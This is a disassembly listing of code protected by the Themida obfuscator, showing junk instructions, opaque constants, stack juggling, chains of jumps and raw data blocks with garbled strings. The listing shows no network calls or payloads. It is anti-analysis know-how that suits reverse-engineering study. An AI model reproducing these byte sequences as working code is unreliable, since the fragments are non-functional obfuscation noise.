; ---------------------------------------------------------------------------
		dd 343FC381h, 0DF01CA63h, 80A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F25D:				; CODE XREF: Themida_:0056DCB4j
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		push	edx
		mov	edx, 4
		push	4E84h
		mov	[esp], edx
		jmp	loc_55DE51
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 0F0E9240Ch, 8100000Ch,	4C3h, 241C8700h
		dd 2404335Ch, 437EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F29D:				; CODE XREF: Themida_:0056343Aj
		push	3373h
		mov	[esp], eax
		push	ebx
		push	esi
		mov	esi, 0C0443D9Ch
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, ebx
		jmp	loc_5716EC
; ---------------------------------------------------------------------------
aSQhQhbuc1b2uJs	db 'S╩д#qh╬х#qh│НГ1│2U╫╣',1Bh,'{JИ-<',0
		align 2

loc_55F2DA:				; CODE XREF: Themida_:0055DABAj
		mov	esi, 36C44468h
		mov	edi, esi
		pop	esi
		inc	edi
		inc	edi
		neg	edi
		sub	edi, 84F3AC9Ch
		jmp	loc_561ECF
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0ECh
		dd 4, 0BB241C89h, 4E313165h, 7C38EB81h,	0CB876FFCh, 2414F751h
		dd 0F84EE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F312:				; CODE XREF: Themida_:00562228j
		mov	edx, 4
		add	ecx, 51EE0274h
		jmp	loc_56AF4A
; ---------------------------------------------------------------------------
		dw 46E9h
		dd 81FFFFE5h, 4ECh, 25DDE900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55F332:				; CODE XREF: Themida_:00563670j
		mov	esp, [esp]
		jmp	loc_56EB47
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch,	24248B24h
		dd 0B1240C89h, 0CCEB80C3h, 0C380CB00h, 240C8BCCh, 4C481h
		dd 53E90000h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F36F:				; CODE XREF: Themida_:0056EDEBj
		pop	eax
		pop	ecx
		jmp	loc_55FF59
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 5D042474h, 8B24048Fh, 0F662424h, 0D768C8BEh,	89000018h
		dd 0EC83240Ch, 0F285E904h, 0EF81FFFFh, 337C777Ch, 7D42F781h
		dd 0EF811373h, 85053A5Bh, 0D5E9F889h, 5100001Dh, 0CB88E188h
		dd 5BD98859h, 125BAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F3BD:				; CODE XREF: Themida_:00564D14j
		shl	esi, 7
		sub	esi, 1
		xor	esi, 0BCA90DCAh
		jmp	loc_56F0A7
; ---------------------------------------------------------------------------

loc_55F3D1:				; CODE XREF: Themida_:00564537j
		and	ebp, 7801493h
		or	ebp, 6DC0174Dh
		jmp	loc_5606BA
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E904C483h, 0E589h
; ---------------------------------------------------------------------------

loc_55F3F0:				; CODE XREF: Themida_:0055D86Ej
		push	60A2h
		mov	[esp], ecx
		push	eax
		jmp	loc_5651EF
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 8DFDF272h, 19BB5355h, 893C242Ah, 0EE295BDDh,	83242C8Bh
		dd 0EE8104C4h, 62F974B7h, 8A6DE9h, 0CA685600h, 8900007Dh
		dd 4832424h, 815E0424h,	4C6h, 4BA5200h,	1000000h, 34335AD6h
		dd 3CD2E924h, 1C890000h, 50E38924h, 0D4E95854h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F453:				; CODE XREF: Themida_:00568B33j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_569F8F
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 2C890000h, 73076824h, 8CE90000h
		dd 80000068h, 0FE284DC6h, 0E438E9h, 1C16800h, 14890000h
		dd 7F2BBA24h, 0D101015Ah, 8124148Bh, 4C4h, 6EDDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F4A2:				; CODE XREF: Themida_:0056C0C9j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5713E1
; ---------------------------------------------------------------------------
aIusn		db '┴ЦИ╜╬',0
		db 0
; ---------------------------------------------------------------------------

loc_55F4BD:				; CODE XREF: Themida_:00563A00j
		pop	ecx
		add	esp, 4
		or	esi, ebp
		jmp	loc_562A06
; ---------------------------------------------------------------------------
		dd 4BD55h, 60E90000h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F4D3:				; CODE XREF: Themida_:0056DD2Aj
		push	esi
		push	695A6681h
		pop	esi
		dec	esi
		and	esi, 4CB8580Dh
		inc	esi
		jmp	loc_5698E5
; ---------------------------------------------------------------------------
		db 31h
		dd 0ECC8E9D0h, 8B66FFFFh, 0EC832404h, 240C8904h, 0EC835954h
		dd 241C8904h, 4C5DB951h, 0A3E91C41h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F50B:				; CODE XREF: Themida_:0056B52Fj
		and	ebx, 60165AC3h
		jmp	loc_569256
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 242C875Ch, 8924248Bh, 8B54241Ch, 0C483241Ch
		dd 46685704h, 0E91E9945h, 0FFFFEBF1h
; ---------------------------------------------------------------------------

loc_55F538:				; CODE XREF: Themida_:00565246j
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 69E52C80h
		shl	ecx, 1
		jmp	loc_56B9AF
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 0C8BCE01h, 4C48324h,	4C681h,	76E90000h, 290000A8h, 0E64E9FEh
		dd 0EB810001h, 0D83F85ECh, 0D3E9DA29h
		db 6, 1, 0
; ---------------------------------------------------------------------------

loc_55F573:				; CODE XREF: Themida_:005692A9j
		push	ecx
		mov	ecx, 5A0B16D8h
		xor	ecx, 36097E28h
		jmp	loc_56157F
; ---------------------------------------------------------------------------
		dd 54240489h, 8324048Bh, 40504C4h, 0E9000000h, 105E7h
		dd 5C243487h, 815AD028h, 2ECh, 1C896600h, 0E646E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F5AE:				; CODE XREF: Themida_:0056A102j
		mov	[esp], ecx
		push	ebp
		push	4C8D13E6h
		pop	ebp
		mov	ecx, 0B372EC1Eh
		sub	ecx, 11567F12h
		jmp	loc_56B77C
; ---------------------------------------------------------------------------
		dd offset dword_457444+1BD24h
		dd 24148900h, 0A45BE56h, 0E955101Ch, 0B1AEh, 24048B66h
		dd 0A619E9h, 0E7895700h, 0C7CBE9h, 0FB015900h, 68A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F5F5:				; CODE XREF: Themida_:00560A78j
		push	35077A66h
		pop	eax
		xor	eax, 20100459h
		mov	esi, eax
		jmp	loc_5722AE
; ---------------------------------------------------------------------------
		db 28h
		dd 816E2CE8h, 2ECh, 14896600h, 85B224h,	148B66D0h, 2C48124h
		dd 0E9000000h, 11E1Ch, 0A5D7E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F62E:				; CODE XREF: Themida_:00560C9Aj
		pop	edx
		sub	esi, 0BA82FBEFh
		add	eax, esi
		jmp	loc_56E1BD
; ---------------------------------------------------------------------------

loc_55F63C:				; CODE XREF: Themida_:0056C341j
		push	6F84h
		mov	[esp], edx
		push	11A8h
		mov	[esp], esi
		push	2A3802D5h
		pop	esi
		xor	esi, 2A380AD5h
		mov	edx, esi
		pop	esi
		jmp	loc_55DB49
; ---------------------------------------------------------------------------
		dd 67DB951h, 0F1810043h, 430679h, 3E021805h, 2DC8015Dh
		dd 5D3E0218h, 9EC4E959h, 0C2810000h, 5CD25A4Bh,	57C0EA81h
		dd 0C201105Fh, 57C0C281h, 0EA81105Fh, 5CD25A4Bh, 726FC281h
		dd 0EC83024Ah, 0E28CE904h, 0C329FFFFh, 70C38158h, 0E92BAD61h
		dd 0FD52h, 565EF331h, 0F189DE89h, 223EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F6C1:				; CODE XREF: Themida_:0057009Cj
		sub	eax, 179A0AA5h
		add	eax, edi
		add	eax, 179A0AA5h
		sub	eax, 72F56D00h
		mov	ecx, [eax]
		mov	eax, [esp]
		jmp	loc_565C59
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0AAE92434h, 0B90000B3h, 7C1640B7h, 6806E1C1h
		dd 344Ch, 0BB241C89h, 3ABD0CA6h, 398E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F701:				; CODE XREF: Themida_:005727DAj
		push	bx
		jmp	loc_5638D4
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 875FF901h,	19E9240Ch
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F723:				; CODE XREF: Themida_:0056AEDBj
		sub	eax, edi
		pop	edi
		jmp	loc_55FAF5
; ---------------------------------------------------------------------------
		db 81h
		dd 0C87F8DC6h, 0EAD7E93Eh, 0E9AD0000h, 2828h, 4C481h, 0FF500000h
		dd 148B2434h, 4C48124h,	50000000h, 534168h, 24248900h
		dd 9800E9h, 17306800h, 24890000h, 4B85024h, 1000000h, 58042444h
		dd 68575359h, 6D9F5699h, 0A44BE9h, 241C8700h, 0F51EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F785:				; CODE XREF: Themida_:0056695Aj
		add	esp, 4
		sub	esp, 4
		jmp	loc_56D56A
; ---------------------------------------------------------------------------
aH6_s		db 'hр)6.И╨╣',0
		db 0
; ---------------------------------------------------------------------------

loc_55F79D:				; CODE XREF: Themida_:00562F11j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_565108
; ---------------------------------------------------------------------------
		db 33h
		dd 0F5C241Ch, 8568C8BEh, 8900002Ch, 0A6E9240Ch,	0BFFFFFE0h
		dd 4, 0B2161C05h, 0E9F80139h, 293Fh, 1D7CE981h,	0EB818048h
		dd 14B20FC9h, 0C381CB29h, 14B20FC9h, 0C1DAE959h, 14890000h
		dd 6736824h, 815A0841h,	37E0CE2h, 3E2C13Dh, 8904EC83h
		dd 33B9240Ch, 3108CE78h, 0D1E959CAh, 810000AEh,	317013F6h
		dd 5EF7895Fh, 16E7B951h, 4C015266h, 0E9590824h,	0DD54h
		dd 2474FF51h, 240C8B04h, 0FFEC0BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F83D:				; CODE XREF: Themida_:005633C1j
		push	ebx
		mov	ebx, 440B755Fh
		jmp	loc_56F4AC
; ---------------------------------------------------------------------------
		dd 0E386C4FEh, 0E904EBC0h, 16FFh, 69C581h, 0C52912EDh
		dd 69ED81h, 0E99512EDh,	813Fh, 0E904C183h, 358h
; ---------------------------------------------------------------------------

loc_55F870:				; CODE XREF: Themida_:00561D1Aj
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_565DAB
; ---------------------------------------------------------------------------

loc_55F882:				; CODE XREF: Themida_:00565BB9j
		pop	esp
		push	6E4Eh
		mov	[esp], edi
		push	ebx
		mov	ebx, 19CF1400h
		or	ebx, 477C2922h
		jmp	loc_572376
; ---------------------------------------------------------------------------
		dd 8704C683h, 525C2434h, 0C281E289h, 4,	8704EA83h, 248B2414h
		dd 44F1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F8BA:				; CODE XREF: Themida_:00560AFBj
		xor	esi, edx
		pop	edx
		add	ebx, 293C05E3h
		add	ebx, 2E3B5A49h
		jmp	loc_56415C
; ---------------------------------------------------------------------------
		dw 489h
		dd 3908B824h, 0E8D10482h, 709FE9h, 81D10100h, 0D22D63E9h
		dd 24148B46h, 87A1E9h, 32C78100h, 11E014Ah, 32EF81F7h
		dd 811E014Ah, 11847EFh,	0F1B6E93Dh, 0E6890000h,	4C681h
		dd 0C6810000h, 4, 5C243487h, 6203A5F3h,	3842C738h, 1C86301Eh
		dd 74DF68h, 24048900h, 38B8h, 0E54BE900h, 66590000h, 0B70FC331h
		dd 54AEE9C0h, 0C5810000h, 222B5FDEh, 0ED81FD29h, 222B5FDEh
		dd 2EDC15Fh, 0FFFFBB53h, 0DD01FFFFh, 0FFFCC7E9h, 2474FFFFh
		dd 4A79E904h, 0BE560000h, 494D69ABh, 0D106EEC1h, 9BE946EEh
		dd 5BFFFFF8h, 0CF35E9h,	88F38100h, 291C8DD9h, 0E2F3E9DEh
		dd 248B0000h, 0E6895624h, 4C681h, 0EE810000h, 4, 6794E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F9A5:				; CODE XREF: Themida_:00562C45j
		xor	ebx, 0F86FED38h
		push	ebx
		add	dword ptr [esp], 1BB02A4Fh
		pop	ebp
		push	ebx
		jmp	loc_572805
; ---------------------------------------------------------------------------

loc_55F9BA:				; CODE XREF: Themida_:0056ECC7j
		mov	edi, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55E27C
; ---------------------------------------------------------------------------

loc_55F9D2:				; CODE XREF: Themida_:00564286j
		pop	esp
		xchg	edi, [esp]
		jmp	loc_562099
; ---------------------------------------------------------------------------
		db 56h
		dd 3D9BB53h, 0DE894E9Eh, 5EF1295Bh, 0B955C181h,	0E3E95C07h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F9F3:				; CODE XREF: Themida_:00569E2Dj
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		push	ecx
		push	esi
		push	77FD67CAh
		mov	esi, [esp]
		jmp	loc_5658AA
; ---------------------------------------------------------------------------

loc_55FA09:				; CODE XREF: Themida_:0056C8A0j
		xor	ebp, 0A7658992h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_565364
; ---------------------------------------------------------------------------

loc_55FA24:				; CODE XREF: Themida_:0055E744j
		sub	ebx, 74BE0767h
		pop	ebp
		pop	esi
		jmp	loc_568F2E
; ---------------------------------------------------------------------------

loc_55FA31:				; CODE XREF: Themida_:00570EDEj
		sub	edi, 2D164223h
		add	ebp, edi
		jmp	loc_57261C
; ---------------------------------------------------------------------------

loc_55FA3E:				; CODE XREF: Themida_:00570D9Cj
		pop	ecx
		pop	ebx
		pop	esi
		jmp	loc_56E277
; ---------------------------------------------------------------------------

loc_55FA46:				; CODE XREF: Themida_:0056BF41j
		neg	bl
		sub	bl, 1Dh
		or	ch, bl
		pop	ebx
		not	ch
		sub	ch, 9Eh
		sub	al, ch
		pop	ecx
		mov	cx, [esp]
		jmp	loc_5650E9
; ---------------------------------------------------------------------------
		db 1
		dd 0E319E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FA66:				; CODE XREF: Themida_:0056AB64j
		sub	ecx, 99C0503h
		sub	ecx, 42256E4Bh
		mov	esi, ecx
		jmp	loc_563BFB
; ---------------------------------------------------------------------------
		db 0BDh, 64h, 3Bh
		dd 0E5C16A1Eh, 5528E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FA86:				; CODE XREF: Themida_:00565CA9j
		mov	[esp], edx
		mov	edx, 32951206h
		sub	edx, 1
		jmp	loc_566F49
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 6BDBD55h, 0E9012C86h, 0FFCB315Dh, 51592434h,	837FE9h
		dd 4C48300h, 15FF829h, 2434FFC5h, 0A839E9h, 5E5C000h, 80FDB050h
		dd 0ED8088EDh, 80C500D2h, 0C580D2C5h, 0F292E988h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FADA:				; CODE XREF: Themida_:00571428j
		mov	eax, 6A29110Ch
		or	ebp, eax
		mov	eax, [esp]
		jmp	loc_56D3B0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
a_vicsJ		db '_V┴ФИиj',0
		db 0
; ---------------------------------------------------------------------------

loc_55FAF5:				; CODE XREF: Themida_:0055F726j
		pop	ecx
		push	427Dh
		mov	[esp], ecx
		jmp	loc_5651A4
; ---------------------------------------------------------------------------
		db 29h
		dd 26055BD9h, 12C6001h,	1262DC8h, 1592C60h, 24048BC7h
		dd 8104C483h, 2C7h, 243C8700h, 2404305Ch, 0DD3FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB2E:				; CODE XREF: Themida_:0056977Ej
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		mov	ecx, ebp
		pop	ebp
		jmp	loc_56C3D6
; ---------------------------------------------------------------------------

loc_55FB3B:				; CODE XREF: Themida_:005616C7j
		not	ebp
		xchg	edx, ebp
		sub	esp, 4
		mov	[esp], edx
		xchg	esi, [esp]
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	edx
		jmp	loc_570345
; ---------------------------------------------------------------------------
aSe_0		db '\ИEэ',0
		db 0
; ---------------------------------------------------------------------------

loc_55FB67:				; CODE XREF: Themida_:0055E7AEj
		mov	ebx, esi
		push	ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_56A00E
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 3105EEC1h,	31F131CEh, 1E983CEh, 0BB53CE87h
		dd 6F9F6143h, 6E9D3F7h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FB9B:				; CODE XREF: Themida_:005669AEj
		mov	ebx, 0FF450900h
		add	ecx, ebx
		pop	ebx
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56AADC
; ---------------------------------------------------------------------------

loc_55FBB4:				; CODE XREF: Themida_:0056966Dj
		mov	[esp], esi
		mov	esi, 74C0623Bh
		sub	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_55DC48
; ---------------------------------------------------------------------------
		dd 8B240C87h, 0DE012424h, 0E9241C8Bh, 0CA73h, 0C106EAC1h
		dd 0CA8108E2h, 292F045Ch, 0FF89E9h, 4C28100h, 87000000h
		dd 4E92414h, 0FF000105h, 48B2434h, 4EC8124h, 89000000h
		dd 0E789243Ch, 4C781h, 0E6E90000h, 660000CCh, 57240C8Bh
		dd 0B850E789h, 4, 66BDC781h, 0C701313Ch, 66BDEF81h, 5158313Ch
		dd 3324E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FC35:				; CODE XREF: Themida_:0057265Bj
		mov	[esp], ebp
		mov	ebp, 35AE2D5Eh
		dec	ebp
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55FE23
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0C580CDFEh, 0E9D5F684h, 0FA13h, 2B38BABFh, 2EFC12Bh
		dd 3C87E94Fh, 66640000h, 2E90289h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FC6B:				; CODE XREF: Themida_:0056928Cj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 800h
		jmp	loc_570402
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 0CDB652D8h, 0A4B05053h, 0F658C788h, 0B6B050DFh, 0D6E9D8F6h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FC9B:				; CODE XREF: Themida_:0055E6A2j
		sub	esi, ebp
		jmp	loc_5653C1
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 24148BE4h, 7CD2E9h, 4EC8300h, 0FF243C89h, 8B042474h
		dd 0E951243Ch, 119F4h
; ---------------------------------------------------------------------------

loc_55FCC0:				; CODE XREF: Themida_:0056E253j
		xor	ebx, 6BA5E244h
		xor	ecx, ebx
		jmp	loc_561F2E
; ---------------------------------------------------------------------------
		db 0B1h, 45h, 80h
		dd 0C82860F1h, 1EE95259h, 810000D9h, 4C4h, 58E95500h, 66000044h
		dd 58E12059h, 9E95266h,	6800005Eh, 48B0h, 0E9241C89h, 0FFFFEC97h
		dd 0FFDB68E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FD05:				; CODE XREF: Themida_:00560AE6j
		push	ebx
		mov	bl, dl
		push	edx
		jmp	loc_5680F9
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0A3021F65h, 0FFEBCEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FD19:				; CODE XREF: Themida_:00564439j
		pop	eax
		dec	bh
		jmp	loc_5706D9
; ---------------------------------------------------------------------------
		align 2
		dw 2CD8h
		dd 66F12C9Ah, 662BFB68h, 52240C89h, 0C281E289h,	4, 4EA81h
		dd 0FF520000h, 5A042474h, 8B24048Fh, 14892424h,	24B15124h
		dd 0F659CE88h, 0FFB050D6h, 0C058C600h, 0CEFE07EEh, 5C865266h
		dd 2FE90124h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FD6B:				; CODE XREF: Themida_:00560690j
		push	esi
		mov	esi, 5D7348ADh
		dec	esi
		not	esi
		push	ebp
		push	ecx
		mov	ecx, 7E2B67C0h
		jmp	loc_5639FB
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 4DC68100h, 817A3E21h, 691A1DC6h, 57FE0171h
		dd 691A1DBFh, 5FFE2971h, 0B7B3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FDA5:				; CODE XREF: Themida_:0056FBA6j
		add	esp, 4
		add	esi, 280C6EC2h
		shl	esi, 4
		push	4557h
		jmp	loc_56EBD9
; ---------------------------------------------------------------------------
		dw 1668h
		dd 8900006Eh, 80E92434h, 80FFFFE2h, 34FFFDC7h, 13E95824h
		dd 410000C7h, 5AAC181h,	0C8297A49h, 96684859h, 89000054h
		dd 0EBE9242Ch, 81000012h, 4D11ECF6h, 76C581D3h,	0E911D767h
		dd 0ACD1h, 0C781E789h, 4, 1207DE9h, 4335D00h, 24043124h
		dd 5C240433h, 334FC381h, 3EE91728h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FE23:				; CODE XREF: Themida_:0055FC42j
		pop	ebp
		push	edx
		mov	edx, 403243F3h
		or	ebp, edx
		pop	edx
		neg	ebp
		add	ebp, 7341608Fh
		push	ebx
		jmp	loc_56D3FA
; ---------------------------------------------------------------------------
		db 68h
		dd 77CDh, 68243C89h, 68204DBFh,	5F59575Fh, 0C102E9C1h
		dd 0EC8308E1h, 240C8904h, 4BFEE9h, 80C18100h, 814B9F06h
		dd 0E10C6DE9h, 64F1811Dh, 89440678h, 0C4E959CAh
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------

loc_55FE77:				; CODE XREF: Themida_:0056AF21j
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56EDDA
; ---------------------------------------------------------------------------
		dd 4C481h, 57520000h, 2CBFh, 4BF96800h,	3C890000h, 24148B24h
		dd 4C481h, 93E90000h, 8F000046h, 0EBE92404h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FEB7:				; CODE XREF: Themida_:0056F819j
		or	ebp, 4E0C7E74h
		sub	ebp, 7DD25EC1h
		jmp	loc_560F5B
; ---------------------------------------------------------------------------

loc_55FEC8:				; CODE XREF: Themida_:005652E1j
		pop	eax
		xor	ecx, ebx
		pop	ebx
		push	ecx
		xor	dword ptr [esp], 5B4C2E3Bh
		pop	ebx
		xor	ebx, 5B4C2E3Bh
		pop	ecx
		and	eax, ebx
		jmp	loc_561AC8
; ---------------------------------------------------------------------------

loc_55FEE3:				; CODE XREF: Themida_:00567A12j
		sub	bl, 9Ch
		pop	ecx
		jmp	loc_56FB64
; ---------------------------------------------------------------------------
		dd 0E861EF81h, 0BB532430h, 28BE02F6h, 0E869E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FEFD:				; CODE XREF: Themida_:0055DFB6j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5662CE
; ---------------------------------------------------------------------------
		dd 19C1ED81h, 0ACE936DFh
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------

loc_55FF13:				; CODE XREF: Themida_:005657C2j
		push	ecx
		mov	ecx, 318813F6h
		inc	ecx
		jmp	loc_563457
; ---------------------------------------------------------------------------
		db 31h
		dd 0EA895EF5h, 0E9242C8Bh, 0FFFFF1D8h
; ---------------------------------------------------------------------------

loc_55FF2C:				; CODE XREF: Themida_:005677A6j
		and	eax, 1D566728h
		jmp	loc_56F11C
; ---------------------------------------------------------------------------

loc_55FF36:				; CODE XREF: Themida_:0056503Bj
		push	4C8016Ch
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 3
		jmp	loc_561A49
; ---------------------------------------------------------------------------

loc_55FF49:				; CODE XREF: Themida_:0056846Bj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55EEF3
; ---------------------------------------------------------------------------

loc_55FF53:				; CODE XREF: Themida_:0056970Cj
		pop	ecx
		jmp	loc_5636B2
; ---------------------------------------------------------------------------

loc_55FF59:				; CODE XREF: Themida_:0055F371j
		push	ax
		mov	ah, 95h
		and	bl, ah
		pop	ax
		not	bl
		or	bl, 6Fh
		jmp	loc_56BF3E
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 0FF54240Ch, 0ABE92434h, 0B900003Bh, 7CC08C4h
		dd 34FFCE01h, 2434FF24h, 592434FFh, 4C481h, 0E9550000h
		dd 10F64h
; ---------------------------------------------------------------------------

loc_55FF98:				; CODE XREF: Themida_:00564489j
		push	629C4992h
		pop	ecx
		dec	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6A0139AAh
		inc	ebx
		jmp	loc_564FE4
; ---------------------------------------------------------------------------
dword_55FFB0	dd 0E981D901h, 6F4C1B33h, 14B2E981h, 0E981181Fh, 49334924h
		dd 5B2434FFh, 900E9h, 50569700h, 0FFF995E9h, 241489FFh
		dd 0C2815A54h, 4, 0FFFC04E9h, 5F685BFFh, 89000042h, 5B54241Ch
		dd 4C381h, 0FE90000h, 290000CDh, 0C7895FF8h, 6B64E9h, 49A3BB00h
		dd 0D3F74856h, 0E9EBD1h, 8900003Bh, 348B5DEAh, 4C48124h
		dd 92000000h, 0C231D0F7h, 0C231D031h, 4EC81h, 1C890000h
		dd 580BB24h, 0C3811E2Ah, 1E11FDFFh, 10489E9h
		db 0
; ---------------------------------------------------------------------------

loc_560041:				; CODE XREF: Themida_:0056C5FFj
		push	ebp
		jmp	loc_56D5CD
; ---------------------------------------------------------------------------
		db 0FFh
a4Xsqv		db '4$XИ÷V',0
		align 10h
		dd 0F281D2F7h, 6CB15A1Dh, 7267F281h, 0B9514502h, 59E97C88h
		dd 2959CB01h, 4615E9D3h, 5B590000h, 4EC8358h, 89240C89h
		dd 4C181E1h, 83000000h,	0C8704E9h, 21E95C24h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_56008B:				; CODE XREF: Themida_:00564B40j
		pop	ecx
		neg	edx
		or	edx, 75B23154h
		sub	edx, 9B2FAB20h
		push	esi
		mov	esi, 0F2F3335h
		sub	esi, 597C75C0h
		sub	esi, 6DA60829h
		shr	esi, 2
		jmp	loc_567AE1
; ---------------------------------------------------------------------------
		dd 31242C33h, 20E9242Ch
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5600BF:				; CODE XREF: Themida_:00561E42j
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_56F8F8
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 0E9F38924h, 10EDAh, 5D2434FFh, 0C104C483h
		dd 0B7E907E3h, 10000E3h, 814359CBh, 0C158F7F3h,	5BD80145h
		dd 0FFEEE3E9h, 0FFC331FFh, 48B2434h, 3E61E924h,	285B0000h
		dd 0F8E959CAh
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56010F:				; CODE XREF: Themida_:0055DA32j
		inc	ebx
		jmp	loc_56D95F
; ---------------------------------------------------------------------------

loc_560115:				; CODE XREF: Themida_:0056786Fj
		push	21764A9Ah
		pop	esi
		add	esi, 72ED964h
		push	esi
		pop	ecx
		pop	esi
		add	ecx, 4953533Ch
		add	ebp, ecx
		pop	ecx
		shr	ebp, 8
		xor	ebp, 29B6E7Fh
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5FC475C1h
		push	ecx
		mov	ecx, 2CFD7341h
		not	ecx
		add	ecx, 5E2513C7h
		jmp	loc_564B29
; ---------------------------------------------------------------------------

loc_560162:				; CODE XREF: Themida_:00569B7Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_5633BF
; ---------------------------------------------------------------------------
		dw 6850h
		dd 55F5h, 0E9242C89h, 1068Bh
; ---------------------------------------------------------------------------

loc_560180:				; CODE XREF: Themida_:00568F29j
		push	46BCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	15A2h
		mov	[esp], ecx
		jmp	loc_5670E5
; ---------------------------------------------------------------------------
		dw 5551h
		dd 39432CBDh, 5E5C15Ch,	0FD5EE945h, 0B205FFFFh,	0E9936825h
		dd 0FFFFE4F3h
; ---------------------------------------------------------------------------

loc_5601B4:				; CODE XREF: Themida_:00564203j
		sub	ebp, 4
		jmp	loc_56948F
; ---------------------------------------------------------------------------
